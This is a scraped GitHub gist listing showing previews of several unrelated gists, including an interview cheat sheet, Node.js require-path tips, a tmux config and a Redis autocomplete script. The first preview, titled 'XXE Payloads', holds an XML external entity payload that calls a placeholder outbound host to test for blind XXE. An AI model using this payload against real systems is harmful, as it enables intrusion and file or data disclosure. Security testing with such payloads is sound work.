Skip to content

Instantly share code, notes, and snippets.

View OGoodness's full-sized avatar
:octocat:
Doing my best

Noah OGoodness

:octocat:
Doing my best
View GitHub Profile
@staaldraad
staaldraad / XXE_payloads
Last active October 30, 2025 17:31
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@tsiege
tsiege / The Technical Interview Cheat Sheet.md
Last active November 3, 2025 14:50
This is my technical interview cheat sheet. Feel free to fork it or do whatever you want with it. PLEASE let me know if there are any errors or if anything crucial is missing. I will add more links soon.

ANNOUNCEMENT

I have moved this over to the Tech Interview Cheat Sheet Repo and has been expanded and even has code challenges you can run and practice against!






\

@branneman
branneman / better-nodejs-require-paths.md
Last active October 9, 2025 17:55
Better local require() paths for Node.js

Better local require() paths for Node.js

Problem

When the directory structure of your Node.js application (not library!) has some depth, you end up with a lot of annoying relative paths in your require calls like:

const Article = require('../../../../app/models/article');

Those suck for maintenance and they're ugly.

Possible solutions

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -i
@paulodeleo
paulodeleo / .tmux.conf
Last active July 15, 2022 10:16
Tmux configuration to enable mouse scroll and mouse panel select, taken from: http://brainscraps.wikia.com/wiki/Extreme_Multitasking_with_tmux_and_PuTTY
# Make mouse useful in copy mode
setw -g mode-mouse on
# Allow mouse to select which pane to use
set -g mouse-select-pane on
# Allow mouse dragging to resize panes
set -g mouse-resize-pane on
# Allow mouse to select windows
@quiver
quiver / trie-autocomplete.py
Created April 4, 2013 15:47
trie-based autocomplete using redis/python
# vim: set fileencoding=utf8
'''
References
- http://stackoverflow.com/a/1966188
- http://en.wikipedia.org/wiki/Tree_(data_structure)
$ python suggest.py prefix
'''
import sys
import redis
@nowhereman
nowhereman / README.md
Created May 4, 2011 08:36
Pimp my Drop Down List, instant autocompletion on demand for any <select> drop down lists on any page (Comb'O jQuery plugin for Greasemonkey).

Pimp my Drop Down List

Instant auto-completion on demand for any <select> drop down lists on any page. With the help of [jQuery Comb'O plugin][combo.js].

Prerequisites

  • [Mozilla Firefox][firefox] with [Scriptish][scriptish](recommended) or [Greasemonkey][greasemonkey] extension.